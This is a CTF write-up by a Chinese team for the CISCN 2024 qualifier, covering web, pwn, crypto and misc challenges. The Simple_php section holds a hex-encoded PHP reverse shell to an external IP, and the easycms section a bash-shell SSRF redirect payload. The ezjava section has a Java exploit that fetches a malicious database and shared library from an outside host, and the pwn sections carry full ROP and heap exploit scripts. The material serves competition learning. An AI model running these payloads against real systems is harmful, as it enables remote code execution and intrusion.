CISCN2024初赛

文章发布时间:

最后更新时间:

Write up written by 吃烧鸡会 pwned

队伍信息

密码学有一坨公式不会在md写,待修复

Web

Simple_php

题目说明

解题思路

过滤了很多,一开始能读文件读目录但是没啥用

1
2
3
4
5
6
7
php -r phpinfo();发现可以执行php命令
php -r eval(hex2bin(substrhp -r phpinfo();发现可以执行php命令
php -r eval(hex2bin(substr(_24736f636b3d66736f636b6f70656e28223132302e37382e3133352e3637222c36363636293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b,1)));
反弹shell
发现有mysql服务
默认账号进去了
一路找下来

easycms_revenge

题目说明

解题思路

在官网上发现有个 qrcode 的 ssrf 同时发现题目上有 flag.php

我猜就是 ssrf 打 flag.php 然后命令执行

找代码中 qrcode 相关的函数

其中 thumb 嵌入二维码中间的 logo 图片 URL,dr_catcher_data 函数获取 logo 图片的数据

Payload

1
/?s=api&c=api&m=qrcode&text=1&thumb=http://vps&size=10&level=1

一开始试了一下昨天的姿势,但是发现不通了,返回了一个类似图片认证的东西,我猜测服务器上做了一个类似强制认证图片,加个 GIF89a 试试

1
2
3
4
5
6
GIF89a
<?php
echo "GIF89a";
header('Location: http://127.0.0.1/flag.php?cmd=bash弹shell',true,302);
exit();
?>

ezjava| 复现

题目说明

解题思路

一开始看到 jdbc 我就以为是 jdbc 打各种依赖,

结果看了一圈都没有见到感觉能打的,后面知道了一个 sqlite 的 cve,CVE-2023-32697

参考 https://mp.weixin.qq.com/s/JY1C2LqOqbAQvJLIhG8prQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;

public class ciscn2024{
public static void main(String[] args) throws Exception{
Class.forName("org.sqlite.JDBC");
String url1 = "http://110.41.152.140/evil.db";
String url2 = "http://110.41.152.140/shell3.so";
String tmp = "sqlite-jdbc-tmp-";
String db = tmp + new URL(url1).hashCode() + ".db";
System.out.println(db);
String dll = tmp + new URL(url2).hashCode() + ".so";
System.out.println(dll);
new File(db).delete();
new File(dll).delete();
DriverManager.getConnection("jdbc:sqlite::resource:"+url1).close();
DriverManager.getConnection("jdbc:sqlite::resource:"+url2).close();
Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true");
Statement stmt = conn.createStatement();
String sql = "select load_extension('"+dll+"','dllmain')";
stmt.execute(sql);
}
}

先在 vps 开个端口然后让题目访问下载到本地

1
2
3
4
5
6
7
POST /jdbc/connect HTTP/1.1
Host: pwn.challenge.ctf.show:28169
Content-Type: application/json

{"type":"3","url":"jdbc:sqlite::resource:http://110.41.152.140:81/evil.db"}
------------------------------------------------------------------------------
{"type":"3","url":"jdbc:sqlite::resource:http://110.41.152.140:81/evil.db","tableName":"stu union select load_extension('/tmp/sqlite-jdbc-tmp--1288104388.so'),1,1"}

R |sanic| 复现

题目说明

解题思路

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

我们得先访问 login 才能访问 admin

如果想访问 login 的话我们得设置 cookie 为 adm;n,搜了一下貌似没有什么姿势,看看内部实现

只能匹配 0-7,可以用个八进制来绕

然后看 admin

搜一下有个原型链污染,同时我们需要绕过对_.的判断

可以用_\\.来绕

我们可以看到有个 src 路由,

1
2
3
@app.route("/src")
async def src(request):
return text(open(__file__).read())

既然我们知道可以原型链污染,那么如果我们污染__file__那么就可以做到 rce

1
{"key":"__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"}

能够简单 rce 了

在 ctfshow 上可以直接读取环境变量得到 flag

但是题目代码中设置了一个 static 目录,我们需要看看这个 static 函数咋样的

exp

1
2
3
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value": True}
{"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value": ["/"]}
{"key":"__init__\\\\.__globals__\\\\.__file__","value": "/24bcbd0192e591d6ded1_flag"}

Pwn

gostack

题目说明

Gopwn x ROP

解题思路

把程序打崩可以打印堆栈信息,可以泄露地址(go 的字符串地址是不变的)

远程打一次,这个是 syscall

找 gadget

符号表不会修就不看逆向了

直接 rop 开打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from pwn import p64
#p = process('./gostack')
p = remote("8.147.133.230",33569)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./gostack')

syscall = 0x404043
pop_rax_ret = 0x40f984
pop_rdi_14_13_12_rbp_rbx_ret = 0x4a18a5
pop_rsi_ret = 0x42138a
pop_rdx_ret = 0x4944ec
bss = 0x05633A0
#binsh = 0x000000c000073f70
binsh = 0x000000c000043fd8 + 8
vuln_main = 0x4A0880

payload = p64(0)*58
payload += p64(pop_rax_ret) + p64(59)+ p64(pop_rdi_14_13_12_rbp_rbx_ret) + p64(binsh)
payload += p64(0)*5 + p64(pop_rdx_ret) + p64(0) + p64(pop_rsi_ret) + p64(0) +p64(syscall)+ p64(0) + b'/bin/sh\x00'

p.sendline(payload)
p.interactive()

orange_cat_diary

题目说明

House of orange + malloc hook

解题思路

add 允许 0x1000 的堆块

free 和 show 都只有一次

edit 存在越界修改和 edit after free

所以使用 edit 能修改 topchunk,再申请一个大堆块就能使原 topchunk 进入 unsortedbin,以此泄露 libc 地址

fastbin attack 修改 malloc hook 为 onegadget,最后再次申请堆块时触发 onegadget 拿到 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

elf = ELF('./orange_cat_diary')
libc = ELF('./libc-2.23.so')
#p = process(["./ld-2.23.so","./orange_cat_diary"], env={"LD_PRELOAD":"./libc-2.23.so"})
p = remote("8.147.133.9",31797)

def debug():
gdb.attach(p)
pause()

def add(size,content):
p.sendlineafter(b"Please input your choice:",b'1')
p.sendlineafter(b"Please input the length of the diary content:",str(size))
p.recvuntil(b"Please enter the diary content:\n")
p.send(content)

def delete():
p.sendlineafter(b"Please input your choice:",b'3')

def edit(_size_,_payload_):
p.sendlineafter(b"Please input your choice:",b'4')
p.sendlineafter(b"Please input the length of the diary content:",str(size))
p.sendlineafter(b"content:",payload)

def show():
p.sendlineafter(b"Please input your choice:",b'2')

one = [0x45226,0x4527a,0xf03a4,0xf1247]

p.sendlineafter(b'tell me your name.', b'name')
add(0x108, b'a')
# debug()
edit(0x110, b'b' * 0x108 + p64(0xef1))

add(0x1000, b'c')
add(0x60, b'\x00')

show()

libc_base= u64((p.recv(6)).ljust(8,b'\x00')) - 0x3c5100

one_gadget = libc_base+one[2]

success('libc:%s'%hex(libc_base))
#input()_
delete()

realloc = libc.sym["__libc_realloc"]
edit(0x20, p64(libc_base + libc.symbols['__malloc_hook'] - 0x23))
add(0x60, b'd')
add(0x60, b'e'*0x13+p64(one_gadget))

p.sendlineafter(b'choice:', b'1')
p.sendlineafter(b'content:', str(0x60))
p.interactive()

EzHeap| 复现

2.35 的带沙盒堆题,堆风水不会恢复(

明显的 malloc2stack 后 orw

高版本 + 沙盒堆块的奇妙结构

需要先恢复堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
from pwn import p64,u64
#p = remote("",)
p = process(["./ld-linux-x86-64.so.2","./EzHeap"], env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./EzHeap")
libc = ELF("./libc.so.6")
context(arch="amd64",os="linux",log_level="debug")

def debug():
gdb.attach(p)
pause()

def add(size,content):
p.recvuntil(b'choice >> ')
p.sendline(str('1'))
p.recvuntil(b'size:')
p.sendline(str(size))
p.recvuntil(b'content:')
p.sendline(content)

def delete(index):
p.sendlineafter(b"choice >> ",str('2'))
p.sendlineafter(b"idx:",str(index))

def edit(index,size,content):
p.sendlineafter(b"choice >> ",str('3'))
p.sendlineafter(b"idx:",str(index))
p.sendlineafter(b"size:",str(size))
p.sendafter(b"content:",content)

def show(index):
p.sendlineafter(b"choice >> ",str('4'))
p.sendlineafter(b"idx:",str(index))

debug()
add(0x200,b"a") #0
add(0x200,b"b") #1
add(0x200,b"c") #2
add(0x200,b"d") #3
add(0x200,b"d") #4
#恢复sandbox造成的堆风水

pause()
#leak libc base
payload = b'a'*0x200+p64(0)+p64(0x421)
edit(0,0x500,payload)
delete(1)
add(0x200,"b")
#debug()
show(2)

libc_base = u64((p.recv(6)).ljust(8,b'\x00')) - 0x21ace0
success("libc_base : "+hex(libc_base))
pause()
#leak heap base_
delete(4)
edit(3,0x500,b'a'*0x210)
show(3)
p.recvuntil(b"a"*0x210)

heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12
success("heap_base : "+hex(heap_base))
pause()

edit(3,0x500,b'a'*0x200+p64(0)+p64(0x211))
add(0x200,"b")

IO_2_1_stdout = libc_base+libc.symbols['_IO_2_1_stdout_']
#pause()
add(0x50,b'a')
edit(5,0x500,b'a'*0x50+p64(0)+p64(0x31)+p64((IO_2_1_stdout-0x20) ^ ((heap_base - 0x2000) >> 12)))

target_addr = libc_base+libc.symbols['_environ']

#iofile leak stack addr_
add(0x20,b"a")
add(0x20,b"a")
payload = p64(0)*3+p64(libc_base+0x217600)+p64(0xfbad1800)+p64(libc_base+0x21b803)*3+p64(target_addr)+p64(target_addr+8)

edit(7,0x500,payload)

stack_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
success("stack_addr = "+hex(stack_addr))
pause()

delete(0)
delete(4)
payload = b'a'*0x200+p64(0)+p64(0x211)+p64((stack_addr - 0x178) ^ ((heap_base) >> 12))
edit(3,0x500,payload)
add(0x200,b"a")

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x0000000000170337
pop_rax_ret = libc_base + 0x0000000000045eb0
syscall_ret = libc_base + 0x0000000000091316
flag_addr = stack_addr - 0x178

#orw
payload = b'/flag\x00'.ljust(8,b'\x00')+p64(pop_rdi_ret)+p64(flag_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rax_ret)+p64(2)+p64(syscall_ret)
payload += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(stack_addr+0x300)+p64(pop_rdx_ret)+p64(0x50)+p64(pop_rax_ret)+b'a'*6+p64(0)+p64(syscall_ret)
payload += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(stack_addr+0x300)+p64(pop_rdx_ret)+p64(0x50)+p64(pop_rax_ret)+b'a'*6+p64(1)+p64(syscall_ret)

add(0x200,payload)
p.interactive()

Crypto

OvO

题目描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
from secret import flag
nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
kk = getPrime(128)
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
m = bytes_to_long(flag)
c = pow(m, e, n)

e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""

解题思路

有两个部分

1
2
3
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
1
e = e >> 200 << 200

题目里给出了一个奇怪构造的e,e与phi有逆元,且e的后 200 bits 被抹去。
根据给出的题目有
$$e = 65538 + kkp + rr(p+1)(q+1)=rrN + rr(p+q+1)+kkp + 65538$$
因为 $$N
$$ 的 bits 足够大,那么 $$\frac{e}{N}$$ 就能得到关键的 $$rr
$$ 和 $$kk$$ :
$$rr = \frac{e}{N} \ kk = rr - 2
$$
令 $$e$$ 两边同时乘 $$p$$ :
$$pE = rrNp+rr(p^2+N+p)+kkp^2 + 65538p = (rr +kk)p^2 + (rr+N +65538)p + rrN$$
现在就有了一个关于 $$p$$ 的方程,解出方程就能分解 $$p$$,但是问题在于只给出了 $$e
$$ 的高位,而不是完整的 $$e
$$。
于是考虑在实数上求多项式的根,然后再转到 $$Z_n$$ 上进行 copperSmith。

1
2
3
4
5
6
7
8
PR.<x> = PolynomialRing(RealField(1000))
f = (kk+rr)*x**2 + (rr*n+65538)*x + rr*n - e*x
res = f.roots()
if res:
print(res)
for i in res:
print(i[0])
print(int(i[0]))

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823

rr = e // n
kk = rr - 2

PR.<x> = PolynomialRing(RealField(1000))
f = (kk+rr)*x**2 + (rr*n+65538)*x + rr*n - e*x
res = f.roots()
if res:
print(res)
for i in res:
# print(i[0])
# print(int(i[0]))
P.<y> = PolynomialRing(Zmod(n))
h = int(i[0]) + y
rt = h.monic().small_roots(X=2^200,beta=0.4)
if rt:
print(rt)
for i in rt:
p = ZZ(gcd(ZZ(h(i)),n))
print(p)

e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
q = n // ZZ(p)
d = pow(e,-1,(p-1)*(q-1))
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

hash

题目说明

💡 题目内容:你能仅仅通过一个 Python2.7 自带的 hash 函数的输出,计算出它的原象的 sha384 哈希值吗?

1
2
3
4
5
6
7
#!/usr/bin/python2
# Python 2.7 (64-bit version)
from secret import flag
import os, binascii, hashlib
key = os.urandom(7)
print hash(key)
print int(hashlib.sha384(binascii.hexlify(key)).hexdigest(), 16) ^ int(binascii.hexlify(flag), 16)
1
2
7457312583301101235
13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017

解题思路

1.信息收集

首先是用 edge 的 copilot 搜索到了 python2.7 的 hash() 的实现,是 FNV 结构。

https://github.com/neuml/py27hash/blob/master/src/python/py27hash/hash.py

重点关注 shash()

同时还有 PEP 456 作为参考

PEP 456 – Secure and interchangeable hash algorithm | peps.python.org

也是同样关注 FNV 的具体实现。

2.题目流程

给出的题目里面 key 是随机给出的 7 位的十六进制 bytes 对象,通过 hash() 给出了一个值。

有映射 $x = h(m)$ ,其中 $m$ 叫做原象,这个题目也就是考的原像攻击

然后将这个值进行 sha384 签名 后跟 flag 做异或。

针对原像攻击,第一反应就是爆破。但是 7 位十六进制显然过大,$256^7$ 显然不能在比赛期间完全爆破。那么很自然的想到,有没有办法减少搜索范围。于是有了 MITM 的思路。

减少一半字符,大概在 $256^3$ 那么就比较容易解决了。

3.解题

下面根据 python2.7 的 hash 实现,给出 FNV 这种结构的简易版本

1
2
3
4
5
6
7
8
def shash(value):
length = len(value)
mask = 0xffffffffffffffff
x = (value[0] << 7) & mask
for c in value:
x = (1000003 * x) & mask ^ c
x ^= length & mask
return x

可以知道第一个字符被左移 7 位,而后再有

x = (1000003 * x) & mask ^ c

x ^= length & mask

那么尝试代入 MITM ,只要前四个字符跟后三个字符的逆是相同的,那就满足 key 的条件。

(x ^ c) & mask = (1000003 * x)

x = (x ^ c) * 16109806864799210091 & mask

注意,161098068647992100911000003 在模 $2^{64}$ 下的乘法逆元。

可以参考:

joostrijneveld.nl

4.完整脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import itertools

mask = 0xffffffffffffffff
invmask = pow(1000003, -1, mask + 1)

"""
def shash(value):
length = len(value)
mask = 0xffffffffffffffff
x = (value[0] << 7) & mask
for c in value:
x = (1000003 * x) & mask ^ c
x ^= length & mask
return x
"""

def M1(a, b, c, d):
x = (a << 7) & mask
x = (1000003 * x) & mask ^ a
x = (1000003 * x) & mask ^ b
x = (1000003 * x) & mask ^ c
x = (1000003 * x) & mask ^ d
return x

def M2(p, m, r, y):
y = (y ^ r) * invmask & mask
y = (y ^ m) * invmask & mask
y = (y ^ p) * invmask & mask
return y

dic = {}

# x ^= length & mask
# 7457312583301101235 ^ length & mask = 7457312583301101236

for i, j, k in itertools.product(range(256), repeat=3):
m = M2(i, j, k, y=7457312583301101236)
dic[m] = (i,j,k)

for a, b, c, d in itertools.product(range(256), repeat=4):
m = M1(a, b, c, d)
if m in dic:
r = dic[m]
print(b, c, d, r)
print(f"{a:02x}{b:02x}{c:02x}{d:02x}{r[0]:02x}{r[1]:02x}{r[2]:02x}")
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
from Crypto.Util.number import long_to_bytes
key = b'5d8cf03f5a0852'
c = 13903983817893117249931704406959869971132956255130487015289848690577655239262013033618370827749581909492660806312017

cc = int(hashlib.sha384(key).hexdigest(),16)

print(cc)
print(c^cc)
print(long_to_bytes(c^cc))

# 13903983817893096257191331302105079327691975168019975768926243203604911704907460100191445196042111296283969284429612
# 56006392793428027524350123064630944990050645714249173991561467554927772009567904795068631029075949437
# b'flag{bdb537aa-87ef-4e95-bea4-2f79259bdd07}'

古典密码

题目说明

Atbash +base64 + caeser

解题思路

Misc

火锅链观光打卡

题目说明

解题思路

连接钱包用 metamask

答对七个拿到 flag

Power Trajectory Diagram

题目说明

解题思路

侧信道攻击

正确输入字符在某些时间点会触发明显的功耗低谷,这个低谷比其他普通字符更低。通过找到每个数据块中最低的低谷,就能还原出对应的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import numpy as np
import matplotlib.pyplot as plt

# 加载数据
data = np.load('C:\\Users\\Nanian233\\Desktop\\attachment.npz')
inputs = data['input']
traces = data['trace']

# 定义每组的字符数量
group_size = 40

# 计算总组数
num_groups = len(inputs) // group_size

# 绘制每一组的功耗曲线
for group in range(num_groups):
start_idx = group * group_size
end_idx = (group + 1) * group_size

# 提取当前组的输入字符和功耗曲线
group_inputs = inputs[start_idx:end_idx]
group_traces = traces[start_idx:end_idx]

# 找到当前组中功耗最低的曲线索引
min_trace_idx = np.argmin([np.min(trace) for trace in group_traces])

# 绘制当前组的所有功耗曲线
plt.figure(figsize=(12, 4))
for i, trace in enumerate(group_traces):
plt.plot(trace, label=group_inputs[i], alpha=0.5)

# 高亮显示功耗最低的曲线
plt.plot(group_traces[min_trace_idx], label=group_inputs[min_trace_idx], linewidth=3, color='red')

plt.title(f'Power Traces of Group {group+1}')
plt.xlabel('Sample Points')
plt.ylabel('Power Consumption')
plt.legend(loc='upper right')
plt.tight_layout()
plt.show()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import numpy as np

data = np.load('C:\\Users\\Nanian233\\Desktop\\attachment.npz')
a= data['input']
b = data['trace']

result = ""

# 遍历数据块
for i in range(12):
    # 获取当前数据块的输入
    sub_input = a[40 * i: 40 * (i + 1)]
   
    # 找到当前数据块中每行的最小值索引
    min1 = [np.argmin(b[i * 40 + j]) for j in range(40)]
   
    # 找到最小值索引中的最大值索引
    min2 = np.argmax(min1)
   
    # 将找到的字符追加到结果字符串
    result += sub_input[min2]

# 打印结果字符串
print(result)

通风机

题目说明

工控

解题思路

西门子 7micro/win 打开 wmp 文件

发现文件缺少文件头,补上即可打开

符号表下找到一串 base64

flag{2467ce26-fff9-4008-8d55-17df83ecbfc2}

4. 神秘文件

题目说明

解题思路

第一部分:

标题后面有密文

QFCfpPQ6ZymuM3gq

作者处有 key:lanjing

管理者处有加密方式:Bifid cipher

第二部分:

把 pptm 改为 zip 并解压

/ppt/embeddings/ Microsoft_Word_Document.docx

Word 文档里改格式为正文

枚举凯撒一个一个试

第三部分:

vba 的文件,用 oletools 反编译

RC4 解密

第四部分:

第三页 ppt 中直接解密

第五部分:

第五页 ppt 底部拿到 base64 套娃密文

第六部分:

同上页全选之后随机拖一拖找到密文

第七部分:

/ppt/slides/slide4.xml

拿到密文和加密方式

第八部分:

/ppt/slideLayouts/slideLayout2.xml 拿到提示

去掉 B b 1 3 后解密

第九部分:

ppt5 中间图里面还有一张残缺图,在源文件处可以拿到完整的

第十部分:

盗版软件

题目说明

解题思路

先直接 strings 看看有啥玩意

发现访问了很多网页,讯飞,火狐,百度等

看到一个叫 winhack.exe 的,出现次数很多,怀疑是这个

Strings -e | 3842.dmp |winhack 找到 winhack.com

hackexe.exe 运行后打开.ss 得到 output.png

Stegsolve 出一个 zip 文件,但有杂糅,gpt 个脚本删一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def process_file(input_file, output_file):
try:
with open(input_file, 'rb') as f:
data = f.read()

# Extract every other byte
new_data = data[::2]

with open(output_file, 'wb') as f:
f.write(new_data)

print(f"Processed file saved as {output_file}")

except FileNotFoundError:
print(f"Error: The file {input_file} does not exist.")
except Exception as e:
print(f"An error occurred: {e}")

# Usage
input_file = 'inputfile' # replace with your input file name without suffix
output_file = 'outputfile' # replace with your desired output file name without suffix
process_file(input_file, output_file)

解压后得到.b 文件,打开是 base85

解码后转 hex 丢 gpt

1
2
3
4
5
6
7
8
9
10
这段经过hex编码的代码是一段Windows平台的x64 shellcode。解码后的内容大致如下:
首先通过一系列指令对栈进行了对齐操作,并保存了一些寄存器的值。
然后获取了当前进程的PEB(Process Environment Block)地址,并从中获取了当前进程的基址ImageBaseAddress。
接着通过解析PE头,遍历导入表,找到了kernel32.dll的基址。
然后根据导入表中函数名称的哈希值,定位到了GetProcAddress函数的地址。
有了GetProcAddress函数后,就可以动态获取其他Windows API函数的地址了,比如LoadLibraryA、VirtualAlloc、WSAStartup等。
接下来调用WSAStartup初始化套接字,再调用WSASocketA创建了一个TCP Socket。
然后通过调用connect函数,连接到了特定的IP地址和端口(族ke编码所以ip看不出来)。
连接成功后,再次调用VirtualAlloc分配一块可读可写可执行的内存,用于后续接收和执行远程代码。
最后不断调用recv从socket接收数据到上述分配的内存中,并调用CreateThread创建线程从内存起始位置开始执行。

可以试着写一个 loader 然后在本地运行用 winshark 抓包,但是直接保存到 bin 然后丢微步也能识别到特征